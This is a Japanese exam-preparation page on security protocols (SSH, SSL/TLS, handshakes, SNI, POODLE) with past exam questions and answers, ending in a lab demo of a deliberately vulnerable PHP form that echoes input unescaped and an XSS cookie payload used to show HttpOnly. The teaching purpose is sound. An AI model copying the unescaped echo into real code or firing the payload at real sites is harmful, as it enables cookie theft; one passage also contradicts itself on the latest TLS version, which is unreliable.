情報処理安全確保支援士 - SE娘の剣 -

左門至峰による情報処理安全確保支援士試験に合格するためのサイトです。 過去問を引用しながら、試験に出る基礎知識を体系的かつ詳細に整理します。

SSL/TLSやSSHなどのセキュリティプロトコル

1.セキュリティ関連のプロトコル

通信の暗号化をするためのセキュリティ関連のプロトコルについて紹介する。
かなり色々あるが、情報処理安全確保支援士で問われる代表的なものは、以下の2つです。
 ❶IPsec
 ❷SSL
それ以外には、以下があります。
 ❸SSH
 ❹SFTP(SSH File Transfer Protocol)
  情報処理安全確保支援士試験の過去問(H23SC春PM1-4 設問1(2)改)では、SFTPに関して、「コンテンツファイル転送時に使用するサービスをSSHに変更した際使用するコマンドを5文字以内で答えよ。 」とある。結構難しい。
 ❺ftps
 ❻scp

では、過去問を解いてみよう。

過去問(平成19年度SW午前)
問56 セキュリティ関連のプロトコルに関する記述のうち、適切なものはどれか。
 ア IPSecは、PPPの認証用プロトコルの一つである。
 イ PAPは、LAN間接続やダイヤルアップ接続を行う際のユーザ認証に、暗号を使用したプロトコルである。
 ウ PPPは、暗号技術を導入してセキュリティを強化した電子メールシステムのプロトコルである。
 エ SSLは、Webサーバとブラウザ間でデータを暗号化して転送する場合に使用することができるプロトコルである。






不正解の選択肢も、なぜ間違っているかを考えよう。正解はエ。

2.SSH

(1)SSHとは

 過去問ではSSHに関して、「リモートログインやリモートファイルコピーのセキュリティを強化したツール及びプロトコル(H20秋AP午前-問76)」と述べられています。ポート番号は22番です。
かなり前かもしれないが、サーバへの接続はTelnetが多かった。しかし、Telnetは暗号化されていないため、SSHで行うことが今では多い。

SSHはUNIX系のコマンドから来たものであり、シェルなのでコマンド操作を含む色々なことができる。
過去問を見てみよう。

過去問(H20SC秋午前2)
問20 暗号化や認証機能をもち,リモートからの遠隔操作の機能をもったプロトコルはどれか。
 ア IPsec
 イ L2TP
 ウ RADIUS
 エ SSH






正解はエ
では、少し難しい問題

過去問(H24SC秋午後2問1)
しかし、IDとパスワードによる認証を行っていても,このようなログイン画面が攻撃者によって見つけられた場合,IDを固定して,考えられる全てのパスワードを試行する,[ a ]が行われる可能性がある。この攻撃によって,管理者権限が奪われると大きな被害になるので,Q主任はサイト担当者と検討し,インターネットから管理者用ログイン画面にアクセスする場合は,  SSHを利用することにした。SSH利用時には公開鍵認証でログインするので,[ b ]がなければ,Webサーバヘの[ a ]を成功させることは困難である。
なお,サイト担当者がミドルウェアの管理画面にアクセスする際には,サイト担当者のPCからWebサーバへのSSH接続時に、②サイト担当者のPCの任意の通信ポートとミドルウェアの管理画面が動作している通信ポートとの間を暗号通信させることにした。

設問1
(3)本文中の[ a ]に入れる攻撃手法の名称を15字以内で答えよ。
(4)本文中の[ b ]に入れる適切な字句を5宇以内で答えよ。
(5)本文中の下線②は,SSHの何と呼ばれる機能を示しているか。15字以内で答えよ。






正解は以下
(3)ブルートフォース攻撃
(4)秘密鍵
(5)ポートフォワーディング 
最後について、補足する。
RDP(3389)やPOP3(110)、FTP(21)などのサービスを利用しようにも、外部からは該当ポートが空いていない場合がある。たとえば、TeraTermのポートフォワーディング(SSH転送)を使うと、SSHの通信を使って任意のポートに接続替えをしてくれる。便利といっちゃ便利であるが、どちらかというと、このSSH通信のIDパスワードを盗まれると、FWをすり抜けて通信できるため、リスクの方が高いと思っている。
SSH_情報セキュリティスペシャリスト試験

(2)SSHのクライアント認証方式

 情報セキュリティスペシャリストの過去問でよく問われる。
通常よく使われる(1)パスワード認証方式と、(2)公開鍵認証方式の2パターンがある。

基本情報の過去問(H26秋FE午後問1)を見てみよう。

過去問(H26秋FE午後問1)
設問4 次の記述中の[ d ]に入れる正しい答えを,解答群の中から選べ。

 SSHサービスがクライアントを認証する方式には,パスワード認証方式と公開鍵認証方式がある。A社は公開鍵認証方式を採用した。
 公開鍵認証方式では,秘密鍵で作成した署名が,対応する公開鍵で検証できることを利用して,次のようにクライアントを認証する。
 (1)クライアントは,秘密鍵を使って作成した署名と,その秘密鍵に対応する公開鍵をサーバに送る。
 (2)サーバは,(1)の公開鍵がサーバに登録されていることを確認し,公開鍵で(1)の署名を検証する。
 (3)検証に成功すれば,クライアントがサーバに登録されている公開鍵に対応する秘密鍵をもっていることが証明されるので,サーバは,クライアントを認証する。
 このように,公開鍵認証方式では,クライアントがサーバのSSHサービスを利用する際に,パスワードや[ d ]をネットワーク上に流す必要がない。

解答群
 ア 公開鍵
 イ 秘密鍵
 ウ 秘密鍵及び公開鍵






正解は、簡単である。イの秘密鍵だ。

H30春SC午後Ⅱ問2では、もっとストレートな問題が出題されました。
「 F氏は,②SSH の認証方式をパスワード認証方式以外に設定するようDさんにアドバイスした。」
と問題文にあり、「本文中の下線②について,設定すべき認証方式の名称を,10字以内で答えよ。」という問題です。正解は、「公開鍵認証方式」ですね。完全なる知識問題でした。

以下はちょっと内容が違いますが、情報処理安全確保支援士試験の過去問(H24SC秋午後1問1)です。こちらはご参考まで。

情報処理安全確保支援士試験の過去問(H24SC秋午後1問1)
 会員サイトは個人情報を扱うことから、①サーバ認証によるHTTPSを採用し、その上でのフォームを用いた利用者認証を行っている。例えば,ある会員がブラウザで会員サイトにアクセスしようとすると,利用者IDとパスワードによる利用者認証が求められ,認証に成功すると,会員サイトにアクセスできるようになる。クッキーの有効期限が切れるか,利用者がログアウトした後は,当該ブラウザから会員サイトにアクセスできなくなり,再び利用者認証を求められる。

設問2 本文中の下線①について, SSLのクライアント認証と比較した場合の,サーバ認証によるHTTPS通信上でフォームを用いた利用者認証を行う利点を, 25字以内で述べよ。






正解は、「利用者がクライアント証明書を用意する必要がない。」である。
このサービスは会員向けといえど、広く一般ユーザに提供しているサービスである。よって、その利用者にクライアント証明書を発行して認証するというのは、非現実的であろう。

3.SSL/TLS

(1)SSL/TLSの概要

 SSL(Secure Socket Layer)はNetscape社が開発した暗号化の仕組みです。その代表例はhttpsでして、オンラインバンキングなどでは、httpsで始まるURLにアクセスしますから、なじみ深いことでしょう。
以下は三菱東京UFJ銀行のオンラインバンキングの画面です。お金を扱いますし、パスワード情報も流れるので、httpsによって通信が暗号化されます。
特徴は、通信を暗号化するために、SSLの証明書を使う点です。以下は、緑色のバーの右にある鍵マークをクリックした状態ですが、このように、Webサイトの証明書が利用されていることが分かります。
SSL

過去問ではSSLに関して,「Webサーバとブラウザ間でデータを暗号化して転送する場合に使用することができるプロトコルである(平成19年度ソフ開 午前 問56)」と述べられています。
最近はGoogle検索でもhttps://www.google.co.jp/?gws_rd=sslに自動でリダイレクトされ、httpsによる暗号化通信が行われます。

情報処理安全確保支援士試験の過去問を見てみよう。

過去問(H22SC春午前2)
問16 セキュリティプロトコルSSL/TLSの機能はどれか。
 ア FTPなどの様々なアプリケーションに利用されて、アプリケーション層とトランスポート層(TCP)との間で暗号化する。
 イ MIMEをベースとして、電子署名とメッセージの暗号化によって電子メールのセキュリティを強化する。
 ウ PPTPとL2Fが統合された仕様で、PPPをトンネリングする。
 エ 特定のアプリケーションの通信だけではなく、あらゆるIPパケットをIP層で暗号化する。






すべての選択肢が何を指すかを考えるとよい。イはS/MIME、ウはL2TPであり、エはIPsec。また、今回の正解はア。

(2)SSLとTLSに関して

❶SSLとTLSの違いは?
 SSL(Secure Sockets Layer)は、ネットスケープコミュニケーションズ社が開発したプロトコルです。それをRFCとして標準化するとともに、機能を付加したものがTLS(Transport Layer Security)です。両者の互換性はないが、情報セキュリティスペシャリスト試験においては、SSL/TLSというくくりで、両者は同じものと考えてもいいでしょう。
ただ、2014年にはSSLv3に重大な脆弱性が見つかり、SSLを無効にしてTLSを使うようにアナウンスする企業がいくつか見られました。今後も主軸はTLSになりますが、SSLという名称が広まっているため、SSLと表現しながら、実際にはTLSを使っているという状態になることでしょう。

❷SSLとTLSのポート番号
 プロトコルによってポート番号は変わります。
SSL/TLSの代表といえばhttps(HTTP over SSL/TLS)です。ここで利用する場合、SSLでもTLSでもどちらもポート番号は443です。
情報処理技術者試験(ネットワークスペシャリスト)の過去問でも問われたPOP3S(POP3 over SSL) のポート番号は、995です。

❸常時SSL
 最近では、ほとんどのサイトがHTTPSで始まる、つまり常時SSL(TLS)になっている。これによる効果はなんだろうか。
暗号化はもちろん、認証や改ざん防止というTLSの基本機能による効果が認められる。
ただし、マルウェアも暗号化通信の中を安全に通過し、企業のセキュリティ対策製品をすり抜けてしまうデメリットもある。

情報処理安全確保支援士試験の過去問(R1秋SC午前2)をみてみよう。

過去問(R1秋SC午前2)
問21  問14 Webサイトにおいて,全てのWeb ページをTLSで保護するよう設定する常時SSL/TLSのセキュリティ上の効果はどれか。
 ア WebサイトでのSQL組立て時にエスケープ処理が施され, SQLインジェクション攻撃による個人情報などの非公開情報の漏えいやデータベースに蓄積された商品価格などの情報の改ざんを防止する。
 イ Webサイトへのアクセスが人間によるものかどうかを確かめ, Webブラウザ以外の自動化されたWebクライアントによる大量のリクエストへの応答を避ける。
 ウ Webサイトへのブルートフォース攻撃によるログイン試行を検出してアカウントロツクし, Webサイトへの不正ログインを防止する。
 エ WebブラウザとWebサイトとの間における中間者攻撃による通信データの漏えい及び改ざんを防止し,サーバ証明書によって偽りのWebサイトの見分けを容易にする。






解答例:エ

❹TLSはOSI参照モデルの第何層か
 さて、HTTPSは、HTTP over TLSです。ではHTTPSにおけるTLSはOSI参照モデルの第何層でしょうか?
質問をしておいてなんですが、OSI参照モデルは、実際のHTTPなどのプロトコルの実態に即していません。なので、「正解は第○層です!」と明確には言いづらいところがあります。あえて正解を言うならば、TLSは、トランスポート層(4層)とアプリケーション層(上位層)の間にあります。イメージとしては、セッション層のような役割と考えてもいいでしょう。

(3)SSL/TLSの目的

SSL/TLSを利用する目的を3つ答えよ
女性SE(システムエンジニア)の成子

結構難しいですね
 
情報処理安全確保支援士試験の過去問(H26SC春午後問1)に整理されているので、見てみよう。

過去問(H26SC春午後問1)
〔SSLの機能概要〕
 インターネットはオープンなネットワークなので,多くの脅威が存在する。これらの脅威に対応するためにSSLが利用される。SSLでは,[ a ],なりすまし及び[ b ]に対する対応策が提供される。
 [ a ]の防止は,公開鍵暗号方式と共通鍵暗号方式を組み合わせて実現される。なりすまし防止は,サーバ認証とクライアント認証によって行われる。送受信されるメッセージの[ b ]検知は,メッセージの中に埋め込まれる,MAC(Message Authentication Code)を基に行われる。






正解であるが、aには盗聴が入り、bには改ざんが入る。
ということで、SSLの目的は、盗聴となりすまし、および改ざんの防止である。

別の過去問(H30NW午後Ⅱ問1)も紹介します。

過去問(H30NW午後Ⅱ問1)
TLSには,情報を[ ア ]する機能,情報の改ざんを[ イ ]する機能,及び通信相手を[ ウ ]する機能がある。






TLSの主要な機能は、①情報の暗号化,②改ざん検知,③電子証明書を使った通信相手の認証、などです。よって,空欄アには「暗号化」,空欄イには「検知」,空欄ウには「認証」が入ります。

(4)HTTPS通信におけるFQDNの記載

皆さんがWebサーバ(https://www.seeeko.com/page.html)に接続したとします。このwww.seeeko.comというFQDNは、どこでどのように使われるのでしょうか?
HTTPの場合は、HTTPデータの中に記載されています。ただ、HTTPSの場合は、TLSのネゴシエーションがあるので、少し複雑です。
今から説明しますが、www.seeeko.comというFQDNは、以下の3か所で登場します。

項番 場所
利用者がブラウザで指定するURL https://www.seeeko.com
HTTP通信における、Hostヘッダ Host: www.seeeko.com
HTTPS通信におけるTLSネゴシエーションのSNI Server Name: www.seeeko.com

※SNIについては、この後の欄外参考で詳しく説明します。

では、HTTP(左図)の場合とHTTPSの場合(右図)のそれぞれで、通信の流れとFQDNがどこで使われるかを解説します。
(1)HTTP場合
 PCのブラウザで、URLを指定(http://www.seeeko.com/page.html)したとします(下図①)。このとき、Webサーバとの通信は大きく、3wayハンドシェークと、HTTP通信の2つに分かれます。後者のHTTP通信では、IPヘッダに、DNSで名前解決したWebサーバのIPアドレス(203.0.113.1)が入ります。また、HTTPヘッダには、Hostヘッダにwww.seeeko.com(下図②)、そして、Request URIにpage.htmlが入ります。

(2)HTTPSの場合
PCのブラウザで、URLを指定(https://www.seeeko.com/page.html)したとします(上図①)。このとき、Webサーバとの通信は大きく、3wayハンドシェークと、TLSのネゴシエーションと、HTTP通信(暗号化されています)の3つに分かれます。TLSのネゴシエーションのパケットにおいては、TLSデータの中にServer Name : www.seeeko.comと記載されます(上図③)。この情報は、SNI(Server Name Indication)と呼ばれます。HTTP通信に関しては、暗号化されていますが、(1)HTTPと同じです。HTTPヘッダのHostヘッダにwww.seeeko.com、Request URIにpage.htmlが入ります(上図②)。

■参考:SNI
 SNIは,TLSのネゴシエーション時(厳密にはClient Hello送信時)に,ブラウザが接続したいFQDNをサーバに通知する機能です。 SNI(Server Name Indication)は、TLSの拡張機能ですが、HTTPS通信では、一般的に使われていると考えてください。1つのサーバで複数ドメインのWebサーバを構築する場合に、SNIの情報に応じたサーバ証明書を提示することが可能になります。また、SNIを見れば、HTTPS通信であっても、FQDNレベルまでのURLフィルタリングをすることができます。 参考として,IPAのWebサイトに接続したときの, SNIを見てみましょう。クライアントからサーバにFQDN(接続先サーバ名)を通知している箇所が確認できます。

(5)SSL/TLSのバージョン

SSLとTLSについては、IPAの以下の資料が詳しいので、時間があるときにご確認ください。
https://www.ipa.go.jp/security/crypto/guideline/gmcbt80000005ufv-att/ipa-cryptrec-gl-3001-3.0.1.pdf 表2にSSL/TLSのバージョン概要が整理されています。
SSL2.0(1994) SSL3.0(1995)
TLS1.0(1999) TLS1.1(2006) TLS1.2(2008)
また、2022年現在ではTLS1.3が最新バージョンであり、これを使うのが望ましい。

過去問(H29NW午後Ⅰ問1)を見てみましょう。

過去問(H29NW午後Ⅰ問1)
・十分な安全性を確保できないとされるハッシュアルゴリズムであるMD5又は[ ア ]を使用しないで済むように, TLSプロトコルのバージョン[ イ ]以上を利用する。






 TLS1.0やTLS1.1では、MD5やSHA1が使われていたため、セキュリティ面で問題がありました。それが、TLS1.2ではMD5やSHA1が使われなくなり、代わりにSHA-256などが使われています。
 空欄ア:SHA-1
 空欄イ:1.2 ※TLSの最新バージョンはTLS 1.2です。参考までに、SSLの最新バージョンはSSL 3.0です。

■参考記事
https://www.itmedia.co.jp/enterprise/articles/1810/16/news077.html
米AppleとGoogle、Microsoft、Mozilla Foundationは10月5日、それぞれのWebブラウザで、TLS 1.0およびTLS 1.1を2020年に無効化する計画を発表した。

■余談
Client Helloには、server_nameというフィールドにServer Name Indicatio extension(通称SNI)が設定されています。是非、パケットを見てください。
①TLS1.2
 平文でサーバのFQDNがセットされています。
 たとえば、
  Server Name:www.ipa.go.jp 
 ※SSL通信でもドメインレベルのURLフィルタリングができるのは、この情報や、サーバ証明書のCN、プロキシのCONNECTメソッドでFQDNを取得できるから

②TLS1.3
 BASE64エンコードされます。さらに、DNS over TLS(もしかすると、 DNS over HTTPS)と組み合わさると、完全暗号化されます。そうなると、GW機器が行っているSSL復号というのは、仕組みを変えないと難しくなるでしょう。まあ、TLS1.2が使えなくなって、DNS over HTTPSが普及する時代は少し先になると思いますが。

(7)SSL/TLS通信とデジタル証明書

(1)デジタル証明書の利用
・SSL/TLSを利用するには、サーバ証明書は必須である。また、クライアント認証のために、クライアント証明書を利用する場合もある。

過去問(H18秋FE午前問67より)
問67 セキュリティプロトコルSSLの特徴はどれか。
ア SSLはWebサーバだけで使用されるセキュリティ対策用のプロトコルで,ネットワーク層に位置するものである。
イ SSLを利用するWebサーバでは,そのFQDNをディジタル証明書に組み込む。
ウ 個人認証用のディジタル証明書は,PCごとに固有のものを作成する必要がある。
エ 日本国内では,政府機関に限り128ビットの共通鍵長のディジタル証明書を取得申請できる。






アだが、SSLはネットワーク層より上の上位層(アプリケーション層とトランスポート層との間(H22年春SC午前Ⅱ問16より)で動作します。
正解は、イ。
FQDNとは、www.example.comなどのように、ドメイン名だけでなく、ホスト名も含まれたもの。証明書はホスト(サーバ)単位で発行される。
FQDNに関しては、以下を参照いただきたい。
FQDNとホスト名とドメイン名とURL

・TLS1.2において,デジタル証明書は,通信データの暗号化のための【 ア:鍵交換 】や通信相手の【 イ:認証 】に利用されている。(R5春SC午前2問6改)→この点は、この後の(2)で詳しく説明します。

(2)秘密鍵をいつ使うのか
 サーバには、デジタル証明書だけでなく、秘密鍵を配置しておかなければいけません。さて、TLS通信で秘密鍵をいつ使うのでしょうか。
R5NWの採点講評には、「サーバ証明書は,サーバの公開鍵の正当性をCAが保証するものであり,秘密鍵とサーバ証明書とが一緒に管理されることで,TLSでは,サーバの認証及びデータの暗号化に用いられる共通鍵の安全な配送が可能になることを理解してほしい。」とありました。
では、この2つの観点で、秘密鍵の必要性を解説します。

❶サーバの認証
 以下は、令和4年NW午後Ⅱ問1での、TLSのシーケンスです。この問題でも、証明書だけでなく秘密鍵が必要であることに関する出題がありました。

図の(Ⅴ)Certificateにて、サーバからクライアントに、サーバ証明書が送られます。しかし、クライアントに配布するということは、誰でもサーバ証明書を入手できるということです。であれば、別のサーバがこのWebサーバになりすまし可能です。そこで、(Ⅵ)CertificateVerifyです。Webサーバは、秘密鍵を利用して、(Ⅰ)~(Ⅴ)のデータのデジタル署名を作成し、クライアントに送信します。クライアントは公開鍵を用いてその署名を検証することで、Webサーバが正規のサーバであることを確認(=サーバの認証)できます。

❷データの暗号化に用いられる共通鍵の安全な配送
 TLS 1.3では廃止されましたが、鍵交換の方式が RSA の場合は、公開鍵暗号方式で鍵の元となるプリマスタシークレットを交換します。クライアントからは、Webサーバの公開鍵で暗号化したデータが送られてくるので、Webサーバ側では秘密鍵が必要です。

(8)SSL/TLS通信の流れ、通信シーケンス

 TLSの通信シーケンスにおいて、TLSのネゴシエーションに注目します。
主にTLS1.2を軸に解説しますが、まず,クライアントからサーバに対して,利用可能な暗号化アルゴリズムの一覧を伝えるClient Helloを送信します(下図➀)。それを受け取ったサーバは,クライアントに対して使用するアルゴリズムを通知するServer Helloを送信します(下図②)。


✚✚ SSLの通信シーケンス

 この流れを,(3)の「SSL/TLSの目的」と照らして補足します。「❶盗聴防止」は,「⑥暗号化通信」の暗号化通信で実現します。「❷なりすまし防止」は,「③サーバ証明書の提示」「④クライアント証明書の提示」にて,不正な第三者でないことを確認します。「❸改ざんの検知」は,「⑤暗号化通信」において,メッセージの中に埋め込まれる,MAC(Message Authentication Code)を使って行われます。MACは,メッセージのハッシュ値を求めたもので,この値を照合することで,改ざんがされていないかを確認できます。

何点か補足します。
a)鍵交換
 TLS1.2では、①Client Helloと②Server Helloの後に、鍵交換の処理がありました。TLS1.3からは、Client Hello と Server Hello の中で鍵交換が行われます。規定されている主な鍵交換方式は、DHE(Ephemeral Diffie-Hellman)とECDHEです。
 Ephemeralは「一時的な」という意味です。TLS1.2以前で使われたDH(Diffie-Helman)では、通信相手の電子証明書の公開鍵と,自身の秘密鍵を基に共有鍵(=セッション鍵)を共有します。これに対してDHEでは,一時的(Ephemeral)な公開鍵と暗号鍵を生成し,これを基に共有鍵(=セッション鍵)を共有します。公開鍵と秘密鍵が固定されているDHに比べて、公開鍵と秘密鍵が毎回動的に変化するDHEの方がセキュリティが高まります。繰り返しですが、DHは固定のデータから鍵を作成、DHEは、毎回異なるデータから鍵を作成します。よって、DHEの方がより安全と言えます。

b) 利用可能な暗号化アルゴリズム
 図にあるように、Client Helloでは、利用可能な暗号化アルゴリズムの一覧を送信します。
暗号化アルゴリズムの一覧は、暗号スイート(Cipher Suite)と言われます。過去問(H29秋SC午後1問3)に解説があるので、以下に引用します。
 では上記の(a),(b),(c)を簡単に整理します。
実際に、IPAのサイトにアクセスしてWiresharkで見てみましょう。
上記は、IPAのサイトにアクセスした際の、Client Helloのパケットです。17のCipher Suitesがサーバに提示されている様子がわかります。

 また、TLS1.3からは、(a)の認証と鍵交換の情報が不要になりました。既に述べたように、TLS1.3からは、Client Hello と Server Hello の中で鍵交換が行われるからです。(b)暗号(主にAES)と(c)メッセージ認証(ハッシュ関数)だけを指定するので、以下のように単純化されました。
TLS_AES_256_GCM_SHA384

 そして、TLS1.3からは、TLS1.2で利用できた古い暗号化アルゴリズムを削除し、AEAD暗号利用モードが必須になりました。AEAD(Authenticated Encryption with Associated Data)とは「認証付きの暗号」です。
認証といっても、ユーザ認証のような本人を認証するのではなく、メッセージが改ざんされていないことを検証するメッセージ認証です。具体的には、TLS1.3では、暗号化の機能に加え、MACによるメッセージ認証機能が付いた利用モードを使うことが必須になりました。たとえば、TLS1.2で使っていたCBC(Cipher Block Chaining)はTLS1.3では使えなくなりました。代わりにGCM(Galois/Counter Mode)などを使います。 ※GCM_SHA384だと、GCMでメッセージ認証をして、さらにSHA384でメッセージ認証?

❶過去問を見てみよう
 日頃から何気なく使っているhttps通信。ネットサーフィンをしていると、httpなのかhttpsなのかどうかも意識しないことが多い。
実際には、以下のようにとても複雑な処理が行われている。
ただ、これらの処理は自動で行われているので、私たちが意識することはない。
大雑把に言うと、
 ①サーバ証明書で、サーバの正当性を確認する
 ②証明書の公開鍵を使ってサーバとクライアントの共通鍵を作り、その鍵で暗号化通信をする。

過去問(H19春 初級システムアドミニストレータ試験 午後 問4 )
〔SSL通信の流れ〕
(1)SSL通信の初期設定
処理の流れ(1)を契機に,SSLによる通信が始まる。最初に,利用者のブラウザとWebサーバの間で暗号化やメッセージダイジェストの方式を決める。
SSLによる暗号化では,公開鍵暗号方式と共通鍵暗号方式を組み合わせた方式が用いられる。
① 利用者のブラウザは,“https://"で始まるURLが指し示すページにアクセスし, WebサーバにSSL通信の開始を知らせる。
② SSL通信の開始を知らされたWebサーバは,利用者のブラウザに,今回使用する暗号方式と[ a ]証明書を送信する。
③利用者のブラウザは,あらかじめ登録されている[ b ]証明書を用いて,送信された[ a ]証明書が有効であることを確認する。
④ 利用者のブラウザは, [ a ]を用いて乱数情報を暗号化してWebサーバに送信するとともに,その乱数情報を用いて[ c ]を生成する。
⑤Webサーバは,④で送信され,暗号化された乱数情報を[ d ]を用いて復号し, [ c ]を生成する。
(2)利用者メッセージの送受信
SSL通信の初期設定が完了すると,利用者のブラウザとWebサーバの間では, [ c ]を用いて通信内容の暗号化が行われる。さらに,メッセージダイジエストを用いて,受信した通信内容が途中で改ざんされていないことを確認する。
(3)SSL通信の終了
処理の流れ(7)を契機に,利用者のブラウザが“http://"で始まるURLが指し示すページにアクセスを開始すると,WebサーバはSSL通信を終了する。






これはなかなか難しい問題である。
でも、答えは基本的なキーワードだ。
正解は以下。
a  Webサーバの公開鍵
b ルート認証局の公開鍵
c  Webサーバと利用者の共通鍵
d  Webサーバの秘密鍵
図にすると、こんな感じ
SSL

❷違う過去問を見てみよう
 SSLの通信シーケンスはSSLハンドシェイクプロトコルとSSLレコードプロトコルに分けられる。SSLハンドシェイクプロトコルでは,サーバの正当性確認と通信を行うための鍵交換を行う。【下の手順(1)】
一方,SSLレコードプロトコルでは,実際に暗号化した通信を行う。【下の手順(2)(3)】
このシーケンスに関して,以下の過去問(H18NW午後Ⅰ問3)に詳しく解説されている。

過去問(H18NW午後Ⅰ問3)
-------問題文ここから -------

図2に、SSL通信のシーケンスを示す。

          図2 SSL通信のシーケンス(概略)

 図2中の(ii)で,SSL-VPN装置は,自ら認証してもらうために,サーバ証明書を送信する。[ ウ ]は,サーバ証明書を発行したCA局の証明書を保持しているので,この③証明書に含まれる鍵を使って,サーバ証明書の正当性を検証する。(iii)はオプション処理で,クライアント証明書による認証が要求されていたときに実施される。(iv)によって,モバイルPCとSSL-VPN装置の双方で,共通鍵が生成される。

設問1 本文中の[ ウ ]に入れる適切な字句を答えよ。
設問3 SSLの動作について、(1),(2)に答えよ。
  (1)本文中の③「証明書に含まれる鍵」の種類を答えよ。
  (2)共通鍵が利用される場所を、図2の(ⅰ)~(ⅴ)で答えよ。また、共通鍵を利用することによる利点を、15字以内で述べよ。

-------問題文ここまで -------

若干修正はしているが、ほぼ原文の問題。
SSL-VPNを学習する良い問題ですので、時間があるときに全ての問題を解いてほしい。
ちなみに、[ ウ ]には、図中の言葉が入る。





【解答例】
設問1 モバイルPC
設問3 (1) 公開鍵
    (2) ⅴ
・暗号と復号が高速にできる。
・演算処理が高速にできる。

別の過去問(H25年NW午後Ⅰ問1)には、以下の穴埋め出題がある。

過去問(H25年NW午後Ⅰ問1)
SSLには,  PCとSSL-VPN装置間において,  SSLセッションを確立させるためのハンドシェイクプロトコルが規定されている。ハンドシェイクプロトコルでは,[  ア ]メッセージによって暗号化アルゴリズムを決定し,公開鍵による電子証明書の確認後,共通鍵での暗号化と,メッセージ認証コードのチェックを行い,  SSLセッションを確立する。






SSLハンドシェイクのうち,暗号化アルゴリズムを決定するためのメッセージが問われています。正解は「HELLO」。
SSLのハンドシェイク時には,クライアントからサーバにClientHelloメッセージを送ります。この中には,クライアントが利用可能な暗号化アルゴリズムの一覧を含みます。ClientHelloを受け取ったサーバは,自身が利用可能な暗号化アルゴリズムのリストと照合し,どの暗号化アルゴリズムを利用するかを決定します。決定した暗号化アルゴリズムは,ServerHelloメッセージによって,サーバからクライアントに通知します。

以下に詳しい説明があります。
https://www.digicert.co.jp/welcome/pdf/wp_ssl_negotiation.pdf

また、日経ITproの以下が分かりやすい(さすが日経BP)
http://itpro.nikkeibp.co.jp/article/COLUMN/20071012/284445/zu1.jpg

別の過去問(H29秋NW午後Ⅰ問1)には、以下の穴埋め出題がある。

過去問(H29秋NW午後Ⅰ問1)
SSL/TLSのコネクション開設時に,クライアント側から送られる[ ウ ]メッセージと,サーバ側から返される[ エ ]メッセージの交換が行われる。

これは、先の過去問(H18NW午後Ⅰ問3)図2の(i)暗号化仕様交渉のフェーズでの処理です。





【解答例】
ウ Client Hello エ Server Hello

https://seeeko.comのサイトに通信をして、それをWiresharkでキャプチャしました。ip.addr == 18.176.58.11として、IPアドレスでフィルタをしています。
3wayハンドシェークや、ClientHello、SeverHelloなどが見えます。

私の場合は証明書が見えませんでしたが、Certificateというパケットも見えることでしょう。

(9)SSL/TLSの脆弱性

❶ダウングレード攻撃

SSLの古いバージョンには重大な脆弱性があります。
SSL/TLSにおいて「暗号化通信を確立するとき、弱い暗号スイートの使用を強制することによって、解読しやすい暗号化通信を行わせる」というダウングレード攻撃があります。
これに加え、SSL2.0を強制的に使わせるバージョンロールバック攻撃は、SSL2.0の致命的な脆弱性であると、IPAの資料に記載があります。
https://www.ipa.go.jp/security/crypto/guideline/gmcbt80000005ufv-att/ipa-cryptrec-gl-3001-3.0.1.pdf

❷POODLE攻撃

POODLE(Padding Oracle On Downgraded Legacy Encryption)攻撃とは、そのフルスペルにあるPadding(詰め物と考えてください)に関する脆弱性を突きます。SSL3.0を利用した通信(その多くはhttps)をすると、通信を盗聴されるなどの危険があります。
対策は、SSL3.0を無効化し、TLSによる通信を行うことです。

情報処理安全確保支援士試験の過去問を見ましょう。

情報処理安全確保支援士試験の過去問
問3 POODLE (CVE-2014-3566)攻撃の説明はどれか。
ア SSL 3.0のサーバプログラムの脆弱性を突く攻撃であり,サーバのメモリに不正アクセスして秘密鍵を窃取できる。
イ SSL 3.0を使用した通信において,ブロック暗号のCBCモード利用時の脆弱性を突く攻撃であり,パティングを悪用して暗号化通信の内容を解読できる。
ウ TLS 1.2のプロトコル仕様の脆弱性を突く攻撃であり,  TLSの旧バージョンにダウングレードして暗号化通イ言の内容を解読できる。
エ TLS 1.2を使用した通信において,  Diffie-Hellman鍵交換アルゴリズムの脆弱性を突く攻撃であり,交換されたセッション鍵を窃取して暗号化通信の内容を解読できる。






正解はイです。

色々試してみる

1.HttpOnly属性のテスト

(1)HttpOnly属性とは

HttpOnly属性は、JavaScript からCookieを操作できないようにする設定です。Cookieを取得するJavaScriptを埋め込まれたXSSなどへの対処です。

(2)Webサーバの環境

#Apacheインストール
yum -y install httpd
#PHPインストール
yum install -y php 
#PHPのインストール確認(バージョンを確認)
php -v
#再起動
systemctl restart httpd

(3)単なる入力フォームと結果を表示するページを作る

過去問をベースに。
❶入力フォーム:description.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

❷結果表示:submitdescription.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<?php
print($_REQUEST['description']); 
?>
です。
</html>

(4)改修していきます。

❶入力フォームでCookieをセット
description.php

<?php
setcookie('sessionid', 12345, time() + 3600); // sessionidに12345をセット。有効期間は3600秒
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

以下は、備考欄を入力できるフォーム(http://web.seeeko.com/description.php)です。F12キーを押して、開発者モードを表示しています。Cookieとして、sessionid=12345になっていること、HttpOnly属性がFalse(空欄)であることがわかります。

❷入力フォーム(備考)に、以下の文字列を入れて、「送信」ボタンを押す

<script>alert(document.cookie)</script>

すると、以下のポップアップが出て、Cookieの値が表示されてしまいます。

❸HttpOnly属性を有効化する
 先のフォーム(description.php)に、以下を食わせて、HttpOnly属性を有効化します。最後のTRUEとしている場所が、HttpOnly属性の設定です。

setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE);

Cookieの設定に関しては以下が詳しい。
https://www.webdesignleaves.com/pr/php/php_basic_07.php
 description.phpの最終的なソースコードは以下です。

<?php
setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE);
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
  <input type="text" name="description" value=""><br>
  <input type="submit" value="送信" >
</form>
</html>

❹入力フォームのCookieを再確認
 先と同様にF12キーを押して開発者モードにします。今度は、HttpOnly属性がTrueになっていることがわかります。

❺改めててスクリプトを実行
 先と同様に、<script>alert(document.cookie)</script> を入力フォームに入れて、「送信」ボタンを押します。
